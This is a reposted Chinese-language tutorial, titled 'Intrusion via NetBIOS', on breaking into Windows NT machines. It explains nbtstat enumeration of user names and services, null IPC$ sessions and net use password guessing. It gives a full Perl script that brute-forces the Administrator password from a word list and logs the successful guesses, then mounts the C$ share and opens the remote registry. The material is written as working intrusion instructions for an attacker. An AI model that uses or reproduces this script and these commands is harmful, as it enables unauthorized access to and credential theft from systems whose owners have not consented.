通过NetBIOS入侵
--------------------------------------------------------------------------------
类型:转载 作者:未知
所有的入侵都涉及到以root或admin权限登录到某一计算机或网络。入侵的第一步往往是对目标计算机或的端口扫描(portscan)。建立在目标计算机开放端口上的攻击是相当有效的。NT机器的端口信息的显示和UNIX的不同。因此,一般能区分出目标计算机所运行的是哪个操作系统。
攻击NT为基础的网络时,NetBIOS是首选的进攻点。使用端口扫描软件,比如Sam,看看目标计算机的端口139是否打开。139端口是"NetBIOS session"端口,用来进行文件和打印共享的,是NT潜在的危险。注意:运行SAMBA的Linux和UNIX系统的139端口也是打开的,提供类似的文件共享。找到了这样的目标计算机后,接下来是使用 nbtstat命令。
NBTSTAT命令是用来询问有关NetBIOS的信息的,也能清除NetBIOS 缓冲区能的内容和将LMHOSTS文件预先装入其中。通过运行这一命令能得到许多有用信息。 NBTSTAT命令解释:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
开关: -a 列出给定主机名的远程计算机的名字表(name table) -A 列出给定IP地址的远程计算机的名字表 -c 列出远程名字缓冲区(name cache),包括IP地址 -n 列出本地NetBIOS 名字 -r 列出通过广播(broadcast)和WINS解析的名字 -R 清除和重新装入远程的缓冲的名字表 -S 列出和目标IP地址会话的表 -s 列出会话表转换
NBTSTAT命令的输出的每一栏都有不同的含义,它们的标题有下面几个,含义也在下面做了相应的解释:
栏目 含义 Input 接收到的字节数。 Output 发送的字节数。 In/Out 这个连接是来自该计算机(outbound)还是来自另外的系统(inbound)。 Life 在你的计算机清除名字表之前存在时间。 Local Name 连接时本地的名字。 Remote Host 远程计算机的名字或IP地址。 Type 一个名字可以有两种类型: unique 或group。 Name NetBIOS名字的最后一个16进制字符经常代表一些内容。因为同样的名字可以在同一计算机出现几次。 State NetBIOS连接状态。
NetBIOS连接将是下面几个状态之一:
状态 含义 MeaningAccepting 正在处理一个进入的连接Associated 一个连接的端点已经建立,你的计算机与它以一个IP地址相关 Connected 你已经联系到了远程资源。 Connecting 你的会话正试图对目标资源进行名字到IP地址的解析 Disconnected 你的计算机发出一个断开请求,正在等待远程计算机的响应 Disconnecting 正在结束你的连接 Idle 远程计算机在当前会话已经打开,但目前不接受连接 Inbound 一个inbound会话正试图连接 Listening 远程计算机可以使用了 Outbound 你的会话正在建立一个TCP 连接 Reconnecting 如果第一次失败,它会在重新连接时显示这一信息
下面是一个NBTSTAT命令的实例:
C:\>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table
Name Type Status DATARAT < 00> UNIQUE Registered R9LABS < 00> GROUP Registered DATARAT < 20> UNIQUE Registered DATARAT < 03> UNIQUE Registered GHOST < 03> UNIQUE Registered DATARAT < 01> UNIQUE Registered MAC Address = 00-00-00-00-00-00
上面的输出是什么意思呢?尤其是Type这一栏,代表的是什么呢。再看看下面的表,它能告诉你什么? Name Number Type Usage < computername> 00 U Workstation Service < computername> 01 U Messenger Service < \\_MSBROWSE_> 01 G Master Browser < computername> 03 U Messenger Service < computername> 06 U RAS Server Service < computername> 1F U NetDDE Service < computername> 20 U File Server Service < computername> 21 U RAS Client Service < computername> 22 U Exchange Interchange < computername> 23 U Exchange Store < computername> 24 U Exchange Directory < computername> 30 U Modem Sharing Server Service < computername> 31 U Modem Sharing Client Service < computername> 43 U SMS Client Remote Control < computername> 44 U SMS Admin Remote Control Tool < computername> 45 U SMS Client Remote Chat < computername> 46 U SMS Client Remote Transfer < computername> 4C U DEC Pathworks TCPIP Service < computername> 52 U DEC Pathworks TCPIP Service < computername> 87 U Exchange MTA < computername> 6A U Exchange IMC < computername> BE U Network Monitor Agent < computername> BF U Network Monitor Apps < username> 03 U Messenger Service < domain> 00 G Domain Name < domain> 1B U Domain Master Browser < domain> 1C G Domain Controllers < domain> 1D U Master Browser < domain> 1E G Browser Service Elections < INet~Services> 1C G Internet Information Server < IS~Computer_name> 00 U Internet Information Server < computername> [2B] U Lotus Notes Server IRISMULTICAST [2F] G Lotus Notes IRISNAMESERVER [33] G Lotus Notes Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): 名字(name )可能只分配了一个IP地址。在一个网络设备上,多次出现一个名字已经被注册,但后缀是唯一的,从而整个条目就是唯一的。 Group (G): 普通的组(group),同一个名字可能存在多个IP地址。 Multihomed (M): 名字(name)是唯一的,但由于在同一计算机上有多个网络接口,这个配置在允许注册时是必须的。地址的数目最多25个。 Internet Group (I): 这是组名字的一个特殊配置,用于WinNT的域名的管理。 Domain Name (D): NT 4.0里新增的。
这个表是对NBTSTAT输出中Type的解释。通过详细分析NBTSTAT命令的输出,就能收集到目标计算机的许多信息。通过分析,就能发现目标计算机正在运行什么服务,甚至可以分析安装的软件包是什么。从而就能找到空隙可以利用。下一步就是从远程计算机收集可能的用户名。一个网络登录分成两个部分:用户名和口令。一旦一个入侵者知道了用户名,他就等于成功了一半。
通过分析NBTSTAT的命令输出,入侵者就能得到任何登录到那台计算机上的用户名。在NBTSTAT输出里,类型(Type)为< 03>的就是用户名或计算机名。类型(Type)为< 20>的就表示它是一个共享的资源。
IPC$(Inter-Process Communication)共享是NT计算机上的一个标准的隐含共享,它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。入侵者常常利用这一点来,通过使用空的I PC会话进行攻击。
有一个一个比较好的IPC会话工具:RedButton。 它是个很灵巧的程序,能登录到NT系统而不会显示用户名和口令。这个工具运行环境是NT。运行这个程序,将看到任何可能的共享,包括任何隐藏的admin$共享(ie, shares以"$"结束。默认的,有几个这样的可以得到的共享...C$,admin$,IPC$等等)。
注意:IPC$共享不是一个目录,磁盘或打印机意义上的共享。你看到的"$",它是默认的在系统启动时的admin共享。IPC是指"interproce ss communications"。IPC$共享提供了登录到系统的能力。注意,你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。
入侵者使用下面的命令对IPC$实施攻击: c:\>net use \\[目标机器的IP地址]\ipc$ /user:< name> < passwd>
当这个连接建立后,要将username和password送去加以确认。如果你以"Administrator"登录,则需要进行口令猜测。
可以重复使用'net'命令,进行username和password猜测: c:\>net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd>
也可以使用脚本语句: open(IPC, "net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd> | ");
NAT工具能自动完成上述功能。NAT是通过读取字典文件中的口令,进行重复登录,从而获取帐号。当然,可以编写一个脚本来实现NAT的功能。
Perl是一种很好的语言,是解释性的,如Java,但运行速度比Java快。同时,Unix系统能解释它。现在,95和NT版的Perl也已经推出。
下面这个脚本程序可以用来进行帐号和口令猜测。
----- begin script ----- # ipcchk.plx # 该脚本从一个文本文件读入单词,并将该单词作为用户名和口令,进行 # IPC$连接。成功的连接保存到一个log文件。该脚本不检查输入参数的 # 有效性,因此必须输入目标机器的合法的IP地址。 # # 用法: c:\>perl ipcchk.plx [目标机器的IP地址]
open(TEST, "names.txt") | | die "Could not open file."; open(LOG,">>ipc.log") | | die "Could not open log.";
if (length($ARGV[0]) == 0) { print "Usage: perl ipcchk.plx [ipaddr]"; exit(0); }
$server = ARGV[0];
while(< TEST> ) {
$name = $_; chop($name); # print "net use \\\\$server\\ipc\$ /userdministrator $name | \n"; open(IPC, "net use \\\\$server\\ipc\$ /userdministrator $name | ");
while(< IPC> ) { if (grep(/successfully/,$_)) { print LOG "$server accepts connections for password $name\n"; # delete a successful connection to avoid multiple connections to # the same machine open(DEL, "net use \\\\$server\\ipc\$ /d | "); } } ----- end script -----
当然,你只要知道原理,可以用C语言或BASIC语言,编写一个具有上述功能的程序。
一旦进入,就不仅仅是能够收集用户名了。还能做许多其他事情。
接下来,入侵者会试图看看目标计算机上有那些共享的资源可以利用。可以使用下面一个命令: c:\>net view \\[目标计算机的IP地址] 根据目标计算机的安全策略,这个命令有可能被拒绝。看看下面的例子:
C:\>net view \\0.0.0.0 System error 5 has occurred.Access is denied. C:\>net use \\0.0.0.0\ipc$ "" /user:"" The command completed successfully. C:\>net view \\0.0.0.0 Shared resources at \\0.0.0.0
Share name Type Used as Comment ----------------------------------------------- Accelerator Disk Agent Accelerator share for Seagate backup Inetpub Disk mirc Disk NETLOGON Disk Logon server share www.pages Disk
该命令顺利地完成了。
从上面的例子可见,直到空IPC会话成功建立后,服务器的共享资源列表才能访问到。在此时,你可能会想到,这样的IPC连接会有多危险呢,但目前为止我们的有关I PC的知识还是很基本的。我们仅仅开始研究IPC共享的可能性。
如果有其它共享资源,可以用net命令进行连接。 c:\>net use x: \\[ipaddr]\[share]
如果不行,用上述进行的攻击方法。
一旦IPC$共享顺利完成,下一个命令是: c:\>net use g: \\xxx.xxx.xxx.xxx\c$
得到了C$共享,并将该目录映射到g:,键入: c:\>dir g: /p
就能显示这个目录的所有内容。
成功地进行了IPC$连接后,点击Start -> Run,键入regedit。选择Registry -> Connect Network Registry,再键入那台机器的IP地址。不一会,就能看目标计算机的Registry了

|